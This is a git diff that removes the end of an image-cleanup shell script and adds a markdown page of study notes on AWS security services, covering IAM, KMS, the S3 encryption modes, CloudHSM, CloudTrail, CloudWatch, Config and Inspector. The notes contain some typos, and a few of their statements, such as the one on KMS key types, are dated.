- # If rg doesn't find any matches, delete the image
- if [ -z "$search_result" ]; then
- echo "Deleting unused image: $image"
- rm "$image"
- else
- echo "Image used: $image_name"
- echo "$search_result"
- fi
-done
-
-echo "Cleanup completed!"
diff --git a/cloud-security/aws-security.md b/cloud-security/aws-security.md
new file mode 100644
index 00000000000..e58b1ff2135
--- /dev/null
+++ b/cloud-security/aws-security.md
@@ -0,0 +1,986 @@
+# AWS Security
+
+## Types of services
+
+### Container services
+
+Services that fall under container services have the following characteristics:
+
+* The service itself runs on **separate infrastructure instances**, such as EC2.
+* **AWS** is responsible for **managing the operating system and the platform**.
+* A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**.
+* As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**.
+* Also, platform-level identity and access management where it exists.
+* **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk.
+
+### Abstract Services
+
+* These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**.
+* The services are accessed via endpoints using AWS application programming interfaces, APIs.
+* The **underlying infrastructure, operating system, and platform is managed by AWS**.
+* The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared.
+* **Data is isolated via security mechanisms**.
+* Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS.
+
+## IAM - Identity and Access Management
+
+IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
+
+* **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
+* **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
+* **Access Control** - The method and process of how access is granted to a secure resource
+
+IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
+
+### Users
+
+This could be a **real person** within your organization who requires access to operate and maintain your AWS environment. Or it could be an account to be used by an **application** that may require permissions to **access** your **AWS** resources **programmatically**. Note that **usernames must be unique**.
+
+#### CLI
+
+* **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
+* **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU \(It's not possible to retrieve lost secret access key IDs\).
+
+Whenever you need to **change the Access Key** this is the process you should follow:
+****_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
+
+**MFA** is **supported** when using the AWS **CLI**.
+
+### Groups
+
+These are objects that **contain multiple users**. Permissions can be assigned to a user or inherit form a group. **Giving permission to groups and not to users the secure way to grant permissions**.
+
+### Roles
+
+Roles are used to grant identities a set of permissions. **Roles don't have any access keys or credentials associated with them**. Roles are usually used with resources \(like EC2 machines\) but they can also be useful to grant **temporary privileges to a user**. Note that when for example an EC2 has an IAM role assigned, instead of saving some keys inside the machine, dynamic temporary access keys will be supplied by the IAM role to handle authentication and determine if access is authorized.
+
+An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining who can assume the role, and a **permissions policy**, which cannot be empty, defining what they can access.
+
+#### AWS Security Token Service \(STS\)
+
+This is a web service that enables you to **request temporary, limited-privilege credentials** for AWS Identity and Access Management \(IAM\) users or for users that you authenticate \(federated users\).
+
+### Policies
+
+#### Policy Permissions
+
+Are used to assign permissions. There are 2 types:
+
+* AWS managed policies \(preconfigured by AWS\)
+* Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies \(modifying one of them and creating your own\), using the policy generator \(a GUI view that helps you granting and denying permissions\) or writing your own..
+
+By **default access** is **denied**, access will be granted if an explicit role has been specified.
+If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials \(which are allowed by default\).
+
+```javascript
+{
+ "Version": "2012-10-17", //Version of the policy
+ "Statement": [ //Main element, there can be more than 1 entry in this array
+ {
+ "Sid": "Stmt32894y234276923" //Unique identifier (optional)
+ "Effect": "Allow", //Allow or deny
+ "Action": [ //Actions that will be allowed or denied
+ "ec2:AttachVolume",
+ "ec2:DetachVolume"
+ ],
+ "Resource": [ //Resource the action and effect will be applied to
+ "arn:aws:ec2:*:*:volume/*",
+ "arn:aws:ec2:*:*:instance/*"
+ ],
+ "Condition": { //Optional element that allow to control when the permission will be effective
+ "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
+ }
+ }
+ ]
+}
+```
+
+#### Inline Policies
+
+This kind of policies are **directly assigned** to a user, group or role. Then, they not appear in the Policies list as any other one can use them.
+Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
+
+#### S3 Bucket Policies
+
+Can only be applied to S3 Buckets. They contains an attribute called 'principal' that can be: IAM users, Federated users, another AWS account, an AWS service. P**rincipals define who/what should be allowed or denied access to various S3 resources.**
+
+### Multi-Factor Authentication
+
+It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.
+You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
+
+### Identity Federation
+
+Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.
+An example of an identity provider can be your own corporate Microsoft Active Directory\(via SAML\) or OpenID services \(like Google\). Federated access will then allow the users within it to access AWS.
+AWS Identity Federation connects via IAM roles.
+
+#### Cross Account Trusts and Roles
+
+**A user** \(trusting\) can create a Cross Account Role with some policies and then, **allow another user** \(trusted\) to **access his account** but only h**aving the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.
+It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
+
+#### AWS Simple AD
+
+Not supported:
+
+* Trust Relations
+* AD Admin Center
+* Full PS API support
+* AD Recycle Bin
+* Group Managed Service Accounts
+* Schema Extensions
+* No Direct access to OS or Instances
+
+#### Web Federation or OpenID Authentication
+
+The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However this doesn't grant access to the AWS console, just access to resources within AWS.
+
+### Other IAM options
+
+* You can **set a password policy setting** options like minimum length and password requirements.
+* You can **download "Credential Report"** with information about current credentials \(like user creation time, is password enabled...\). You can generate a credential report as often as once every **four hours**.
+
+## KMS - Key Management Service
+
+ AWS Key Management Service \(AWS KMS\) is a managed service that makes it easy for you to **create and control** _**customer master keys**_ **\(CMKs\)**, the encryption keys used to encrypt your data. AWS KMS CMKs are **protected by hardware security modules** \(HSMs\)
+
+KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** \(for example, inside a S3\). If you need to **encrypt information in transit** you need to use something like **TLS**.
+KMS is a **region specific service**.
+
+**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used.
+
+**Customer Master Keys** \(CMK\): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs \(Data Encryption Keys\). Then the DEKs are used to encrypt the data.
+
+A customer master key \(CMK\) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK.
+
+There are 2 types of master keys:
+
+* **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it.
+* **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys.
+
+**Envelope Encryption** in the context of Key Management Service \(KMS\): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**.
+
+### Key Policies
+
+These defines **who can use and access a key in KMS**. By default root user has full access over KMS, if you delete this one, you need to contact AWS for support.
+
+Properties of a policy:
+
+* JSON based document
+* Resource --> Affected resources \(can be "\*"\)
+* Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... \(permissions\)
+* Effect --> Allow/Deny
+* Principal --> arn affected
+* Conditions \(optional\) --> Condition to give the permissions
+
+Grants:
+
+* Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration \(Decrypt, Encrypt, GenerateDataKey...\)
+* After the grant is created a GrantToken and a GratID are issued
+
+Access:
+
+* Via key policy -- If this exist, this takes precedent over the IAM policy, s the IAM olicy is not used
+* Via IAM policy
+* Via grants
+
+### Key Administrators
+
+Key administrator by default:
+
+* Have access to manage KMS but not to encrypt or decrypt data
+* Only IAM users and roles can be added to Key Administrators list \(not groups\)
+* If external CMK is used, Key Administrators have the permission to import key material
+
+### Rotation of CMKs
+
+* The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases.
+* **KMS rotate customer keys every 365 days** \(or you can perform the process manually whenever you want\) and **keys managed by AWS every 3 years** and this time it cannot be changed.
+* **Older keys are retained** to decrypt data that was encrypted prior to the rotation
+* In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**.
+* If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled.
+
+#### Manual rotation
+
+* A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID.
+* To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to.
+* You need to **keep old keys to decrypt old files** encrypted with it.
+
+You can import keys from your on-premises key infrastructure .
+
+### Other information
+
+KMS is priced per number of encryption/decryption requests received from all services per month.
+
+KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS.
+
+With KMS policy you can do the following:
+
+* Limit who can create data keys and which services have access to use these keys
+* Limit systems access to encrypt only, decrypt only or both
+* Define to enable systems to access keys across regions \(although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions\).
+
+You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region.
+
+## S3
+
+Amazon S3 is a service that allows you **store important amounts of data**.
+
+Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** \(Policy\), **Encryption** \(Client and Server Side\), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case.
+
+With resource-based permissions, you can define permissions for sub-directories of your bucket separately.
+
+### S3 Access logs
+
+It's possible to **enable S3 access login** \(which by default is disabled\) to some bucket and save the logs in a different bucket to know who is accessing the bucket. The source bucket and the target bucket \(the one is saving the logs needs to be in the same region.
+
+### S3 Encryption Mechanisms
+
+**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data.
+
+**Server-side encryption with S3 managed keys, SSE-S3:** This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key.
+
+* Encryption:
+ * Object Data + created plaintext DEK --> Encrypted data \(stored inside S3\)
+ * Created plaintext DEK + S3 Master Key --> Encrypted DEK \(stored inside S3\) and plain text is deleted from memory
+* Decryption:
+ * Encrypted DEK + S3 Master Key --> Plaintext DEK
+ * Plaintext DEK + Encrypted data --> Object Data
+
+Please, note that in this case **the key is managed by AWS** \(rotation only every 3 years\). If you use your own key you willbe able to rotate, disable and apply access control.
+
+**Server-side encryption with KMS managed keys, SSE-KMS:** This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail.
+
+* Encryption:
+ * S3 request data keys from KMS CMK
+ * KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£
+ * S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key
+* Decryption:
+ * S3 ask to KMS to decrypt the encrypted data key of the object
+ * KMS decrypt the data key with the CMK and send it back to S3
+ * S3 decrypts the object data
+
+**Server-side encryption with customer provided keys, SSE-C:** This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you.
+
+* Encryption:
+ * The user sends the object data + Customer key to S3
+ * The customer key is used to encrypt the data and the encrypted data is stored
+ * a salted HMAC value of the customer key is stored also for future key validation
+ * the customer key is deleted from memory
+* Decryption:
+ * The user send the customer key
+ * The key is validated against the HMAC value stored
+ * The customer provided key is then used to decrypt the data
+
+**Client-side encryption with KMS, CSE-KMS:** Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored.
+
+* Encryption:
+ * Client request for a data key to KMS
+ * KMS returns the plaintext DEK and the encrypted DEK with the CMK
+ * Both keys are sent back
+ * The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK \(which is saved as metadata of the encrypted data inside S3\)
+* Decryption:
+ * The encrypted data with the encrypted DEK is sent to the client
+ * The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK
+ * The client can now decrypt the encrypted data
+
+**Client-side encryption with customer provided keys, CSE-C:** Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage.
+
+* Encryption:
+ * The client generates a DEK and encrypts the plaintext data
+ * Then, using it's own custom CMK it encrypts the DEK
+ * submit the encrypted data + encrypted DEK to S3 where it's stored
+* Decryption:
+ * S3 sends the encrypted data and DEK
+ * As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data
+
+## HSM - Hardware Security Module
+
+Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage \(note that CloudHSM is a hardware appliance, it is not a virtualized service\). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used.
+
+The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads
+
+Typically, a device is available within 15 minutes assuming there is capacity, but if the AZ is out of capacity it can take two weeks or more to acquire additional capacity.
+
+Both KMS and CloudHSM are available to you at AWS and both are integrated with your apps at AWS. Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS.
+
+In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.
+Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution.
+
+Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster.
+
+If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys.
+
+**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only \(cannot act as a certificate authority\)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution.
+
+**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.
+Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance.
+
+**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you.
+
+### CloudHSM Suggestions
+
+1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS.
+2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data.
+3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear.
+4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed.
+5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool.
+6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance.
+7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source.
+
+The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month.
+
+The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**.
+
+The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH.
+
+## Amazon Athena
+
+Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service \(Amazon **S3**\) **using** standard **SQL**.
+
+You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from th logs, so you can query it.
+
+Amazon Athena supports the **hability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**.
+
+**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**.
+
+SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query.
+
+## AWS CloudTrail
+
+This service **tracks and monitors AWS API calls made within the environment**. Each call to an API \(event\) is logged. Each logged event contains:
+
+* The name of the called API: `eventName`
+* The called service: `eventSource`
+* The time: `eventTime`
+* The IP address: `SourceIPAddress`
+* The agent method: `userAgent`. Examples:
+ * Signing.amazonaws.com - From AWS Management Console
+ * console.amazonaws.com - Root user of the account
+ * lambda.amazonaws.com - AWS Lambda
+* The request parameters: `requestParameters`
+* The response elements: `responseElements`
+
+Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.
+CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.
+When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events.
+
+Logs are saved in an S3 bucket. By default Server Side Encryption is used \(SSE-S3\) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys.
+
+### Log File Naing Convention
+
+
+
+### S3 folder structure
+
+
+
+Note that the folders "_AWSLogs_" and "_CloudTrail_" are fixed folder names,
+
+**Digest** files have a similar folders path:
+
+
+
+### Aggregate Logs from Multiple Accounts
+
+* Create a Trial in the AWS account where you want the log files to be delivered to
+* Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access
+* Create a new Trail in the other AWS accounts and select to use the created bucket in step 1
+
+However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account
+
+### Log Files Checking
+
+You can check that the logs haven't been altered by running
+
+```javascript
+aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose]
+```
+
+### Logs to CloudWatch
+
+**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**
+Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to:
+
+* CreateLogStream: This allows to create a CloudWatch Logs log streams
+* PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream
+
+### Event History
+
+CloudTrail Event History allows you to inspect in a table the logs that have been recorded:
+
+
+
+### Insights
+
+**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever.
+
+## CloudWatch
+
+Amazon CloudWatch allows to **collect all of your logs in a single repository** where you can create **metrics** and **alarms** based on the logs.
+CloudWatch Log Event have a **size limitation of 256KB of each log line**.
+
+You can monitor for example logs from CloudTrail.
+Events that are monitored:
+
+* Changes to Security Groups and NACLs
+* Starting, Stopping, rebooting and terminating EC2instances
+* Changes to Security Policies within IAM and S3
+* Failed login attempts to the AWS Management Console
+* API calls that resulted in failed authorization
+* Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
+
+### Agent Installation
+
+You can install agents insie your machines/containers to automatically send the logs back to CloudWatch.
+
+* **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM \(CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM\)
+* **Download** and **install** the **agent** onto the EC2 instance \([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)\). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage
+* **Configure** and **start** the CloudWatch Agent
+
+A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order.
+
+## Cost Explorer and Anomaly detection
+
+This allows you to check how are you expending money in AWS services and help you **detecting anomalies**.
+Moreover, you can configure an anomaly detection so AWS will warn you when some anomaly in costs is found.
+
+### Budgets
+
+Budgets help to manage costs and usage. You can get **alerted when a threshold is reached**.
+Also, they can be used for non cost related monitoring like the usage of a service \(how many GB are used in a particular S3 bucket?\).
+
+## AWS Config
+
+AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI.
+This service is **region specific**.
+
+A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too.
+
+* **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource.
+* **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance
+* **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in.
+* **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information.
+* **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created.
+
+**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type.
+
+**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data.
+
+**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources.
+
+**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account.
+
+### Config Rules
+
+Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.
+AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted.
+
+* **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist.
+* **Custom rules**: You can create your own rules to check specific customconfigurations.
+
+Limit of 50 config rules per region before you need to contact AWS for an increase.
+Non compliant results are NOT deleted.
+
+## SNS Topic
+
+SNS topic is used as a **configuration stream for notifications** from different AWS services like Config or CloudWatch alarms.
+You can have various endpoints associated to the SNS stream.
+You can use SNS topic to send notifications to you via email or to SQS to treate programatically the notification.
+
+## Inspector
+
+The Amazon Inspector service is **agent based**, meaning it requires software agents to be **installed on any EC2 instances** you want to assess. This makes it an easy service to be configured and added at any point to existing resources already running within your AWS infrastructure. This helps Amazon Inspector to become a seamless integration with any of your existing security processes and procedures as another level of security.
+
+These are the tests that AWS Inspector allow you to perform:
+
+* **CVEs**
+* **CIS Benchmarks**
+* **Security Best practices**
+* **Network Reachability**
+
+You can make any of those run on the EC2 machines you decide.
+
+### Element of AWS Inspector
+
+**Role**: Create or select a role to allow Amazon Inspector to have read only access to the EC2 instances \(DescribeInstances\)
+**Assessment Targets**: Group of EC2 instances that you want to run an assessment against
+**AWS agents**: Software agents that must be install on EC2 instances to monitor. Data is sent to Amazon Inspector using a TLS channel. A regular heartbeat is sent from the agent to the inspector asking for instructions. It can autoupdate itself
+**Assessment Templates**: Define specific configurations as to how an assessment is run on your EC2 instances. An assessment template cannot be modified after creation.
+
+* Rules packages to be used
+* Duration of the assessment run 15min/1hour/8hours
+* SNS topics, select when notify: Starts, finished, change state, reports a finding
+* Attributes to b assigned to findings
+
+**Rule package**: Contains a number of individual rules that are check against an EC2 when an assessment is run. Each one also have a severity \(high, medium, low, informational\). The possibilities are:
+
+* Common Vulnerabilities and Exposures \(CVEs\)
+* Center for Internet Security \(CIS\) Benchmark
+* Security Best practices
+
+Once you have configured the Amazon Inspector Role, the AWS Agents are Installed, the target is configured and the template is configured, you will be able to run it. An assessment run can be stopped, resumed, or deleted.
+
+Amazon Inspector has a pre-defined set of rules, grouped into packages. Each Assessment Template defines which rules packages to be included in the test. Instances are being evaluated against rules packages included in the assessment template.
+
+{% hint style="info" %}
+Note that nowadays AWS already allow you to **autocreate** all the necesary **configurations** and even automatically **install the agents inside the EC2 instances.**
+{% endhint %}
+
+### **Reporting**
+
+**Telemetry**: data that is collected from an instance, detailing its configuration, behavior and processes during an assessment run. Once collected, the data is then sent back to Amazon Inspector in near-real-time over TLS where it is then stored and encrypted on S3 via an ephemeral KMS key. Amazon Inspector then accesses the S3 Bucket, decrypts the data in memory, and analyzes it against any rules packages used for that assessment to generate the findings.
+
+**Assessment Report**: Provide details on what was assessed and the results of the assessment.
+
+* The **findings report** contain the summary of the assessment, info about the EC2 and rules and the findings that occurred.
+* The **full report** is the finding report + a list of rules that were passed.
+
+## Trusted Advisor
+
+The main function of Trusted Advisor is to **recommend improvements across your AWS account** to help optimize and hone your environment based on **AWS best practices**. These recommendations cover four distinct categories. It's a is a cross-region service.
+
+1. **Cost optimization:** which helps to identify ways in which you could **optimize your resources** to save money.
+2. **Performance:** This scans your resources to highlight any **potential performance issues** across multiple services.
+3. **Security:** This category analyzes your environment for any **potential security weaknesses** or vulnerabilities.
+4. **Fault tolerance:** Which suggests best practices to **maintain service operations** by increasing resiliency should a fault or incident occur across your resources.
+
